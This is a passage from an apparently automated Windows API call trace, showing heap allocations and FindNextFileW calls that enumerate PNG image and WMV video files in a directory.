0xa08750 [0069.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16088 [0069.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14ec8 [0069.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.279] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0069.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa160a8 [0069.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14fd0 [0069.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.280] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0069.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa160c8 [0069.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa150d8 [0069.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xdc0) returned 0x9fa458 [0069.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa16530) returned 1 [0069.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.280] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0069.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa160e8 [0069.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa151e0 [0069.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.281] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0069.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16108 [0069.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa152e8 [0069.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.281] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0069.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16128 [0069.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa153f0 [0069.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.282] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16148 [0069.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa154f8 [0069.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.282] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16168 [0069.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa15600 [0069.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.282] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16188 [0069.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa15708 [0069.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.283] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0069.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa161a8 [0069.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa15810 [0069.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.283] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0069.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa161c8 [0069.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa15918 [0069.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.283] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0069.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa161e8 [0069.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa15a20 [0069.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.284] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0069.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16208 [0069.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa15b28 [0069.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.284] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0069.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16228 [0069.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa16548 [0069.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.285] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0069.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16248 [0069.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa16650 [0069.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.285] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0069.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16268 [0069.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa16758 [0069.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.286] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0069.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16288 [0069.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa16860 [0069.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.286] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0069.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa162a8 [0069.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa16968 [0069.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.286] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0069.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa162c8 [0069.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa16a70 [0069.287] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0069.287] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 